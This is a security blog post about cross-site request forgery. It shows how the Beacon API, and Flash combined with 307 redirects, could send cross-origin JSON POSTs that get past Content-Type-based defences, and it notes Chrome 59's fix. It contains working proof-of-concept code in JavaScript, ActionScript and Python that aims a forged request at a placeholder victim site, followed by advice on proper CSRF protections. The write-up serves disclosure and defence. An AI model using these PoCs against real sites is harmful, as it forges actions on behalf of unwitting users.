Chrome just hardened the Navigator Beacon API against Cross-Site-Request-Forgery (CSRF)

(Although Content-Types are not a CSRF Protection Mechanism)

About two years ago, Eduardo Vela pointed out that the Navigator Beacon API can be used to exploit “accidentally-CSRF safe” websites. Philip Olausson and I recently noticed Chrome 59, which just shipped, addressed this behavior and we investigated a Flash bypass.

First, some background. A number of RESTful web applications out there assume that certain Content-Types, such as application/json, can only be encoded with a XHR request. To make a cross-origin XHR request, a browser sends preflight requests to retrieve CORS information and verify permissions. If the CORS information does not permit cross-origin requests, then the browser blocks the requests from going through.

And since forms are unable to set an arbitrary Content-Type, then there is no CSRF risk for these RESTful APIs, right? With the ever evolving web, that’s not the case unfortunately.

The Sort-Of-Vulnerable API

Ingredients are many: one Frankenstein (aka HTML5), one part Navigator.Beacon, and one part Blob data types. Shake.

According to Mozilla’s documentation, the Beacon API was introduced for transmitting analytics data in a convenient way that also performs well during page unloads.

navigator.sendBeacon(url, data);

Using these ingredients, one could set an arbitrary Content Type for cross-origin POST requests, which normally is not otherwise possible in a browser without a permissive CORS configuration.

One could do so with the following code:

<script>
var data= new Blob([JSON.stringify({"foo" :"bar"})], {type : 'application/json'});
navigator.sendBeacon("https://www.longterm.io/REST/post_api", data);
</script>

Although an attacker can’t see the response of the cross origin request, that’s not part of the attack model for CSRF, and requests proceed happily. Some mitigating factors are that PUT/DELETE method types can not be requested with this API.

Here’s the ticket for Beacon API hardening, which shipped recently in Chrome Stable 59.

As Eduardo sums up, relying on Content-Type is not recommended as a CSRF protection, and any protection offered is at best *accidental*.

Comment repeated below
I think Content-Type restrictions are useful for websites that are accidentally safe against CSRF. They are not meant to be, but they are because they happen to only accept XML or JSON payloads.

That said, it's somewhat obvious the websites depending on this behavior should be fixed, and any reputable pentesters will point that out. The issue is whether it's the browser responsibility to act as a nanny to weak websites, or we should leave weak websites as sacrifice for great justice. Survival of the fittest.

IMHO, the answer is somewhere in between, and a good first step would be to document all these Same Origin Policy gotchas that websites might depend upon for security.

But wrt to this bug in specific, if it never got fixed, I don't think it would be the end of the world. But then again, on this day and age, maybe there's a way to launch nuclear missiles with a XML RPC interface, so maybe it would be the end of the world.

The Hardening Fix

So the new version of Chrome changes the situation up a bit by having a whitelist of Content Types that the Beacon API can send without a CORS preflight. This is a fair fix and inline with the w3c specification.

Mozilla had actually followed this behavior originally, but changed Firefox to conform to Chrome, by always skipping the CORS check despite the specification’s recommendations. Here’s the ticket to track to see when Firefox will roll back that change.

So are Content-Types safe to rely on for CSRF protection now? Nope. Don’t do that. Use a proper CSRF protection mechanism instead.

And Flash is also Sort-of-Vulnerable…

Flash with 307 redirects can still be abused to achieve the same primitive for cross origin requests with an arbitrary content type. This is unrelated to the Navigator Beacon API . And it’s not restricted by CORS headers. It does require running Flash, so iOS browsers won’t be exploitable, but then again Navigator.Beacon is not available in Safari anyway.

307 Redirects are a fairly well known technique for exploiting slightly more esoteric web vulnerabilities. They are similar to 302 redirects except that they also pass along the body of the request. Here’s a great CSRF with 307 example from 2015 by Mathias Karlsson (@alvidienbrunn). The attack ran against Vimeo’s API.

The method used by Mathias there has by now actually been addressed in Flash, as noted in this IBB report https://hackerone.com/reports/42240. The CORS checking is a bit more solid, so it’s not straight forward to send along an ‘X-Requested-With’ header.

This page has a nice summary of the situation back then.

For the topic on hand, Content-Type isn’t restricted, and Flash can set that header arbitrarily. Combined with a 307 redirect it’s possible to bounce a POST request through Flash to an arbitrary cross-origin destination, with an application/json or xml Content Type. Normally a cross-origin request wouldn’t be allowed by Flash in this situation, but the 307 redirect allows for the minor bypass.

This was evaluated in both Firefox and Chrome:

Firefox 53
Chrome 59

Code follows

CSRF.as:

package 
{
import flash.display.Sprite;
import flash.text.*;
import flash.events.*;
import flash.net.*;

public class CSRF extends Sprite
{
private var myTextBox:TextField = new TextField();
private var myText:String = "CSRF PoC";

public function CSRF()
{
addChild(myTextBox);
myTextBox.text = myText;
var message = {field_name:"Foo", value:"Bar"};
var loader:URLLoader = new URLLoader();
var hdr:URLRequestHeader = new URLRequestHeader("Content-Type", "application/json");
var request:URLRequest = new URLRequest("/redirecter.html");
request.requestHeaders.push(hdr);
request.data = JSON.stringify(message);
request.method = URLRequestMethod.POST;

loader.load(request);

loader.addEventListener(Event.COMPLETE, completeHandler);
}

private function completeHandler(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
trace("completeHandler: " + loader.data);

var vars:URLVariables = new URLVariables(loader.data);
trace("The answer is " + vars.answer);
}

}
}

CSRF.py:

#!/usr/bin/env python
import SimpleHTTPServer
class MyHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_POST(self):
self.send_response(307)
self.send_header('Location', 'https://www.victim.com/csrf_307')
self.end_headers()
if __name__ == '__main__':
SimpleHTTPServer.test(HandlerClass=MyHTTPRequestHandler)

Summary

For protecting against CSRF attacks, applications should use the security features standard frameworks provide. For custom solutions, a security review is a great idea. Established best practices include verifying the Origin header, sending custom headers, and the Synchroniser Token pattern. The OWASP CSRF Prevention CheatSheet goes into greater detail about how to protect web applications.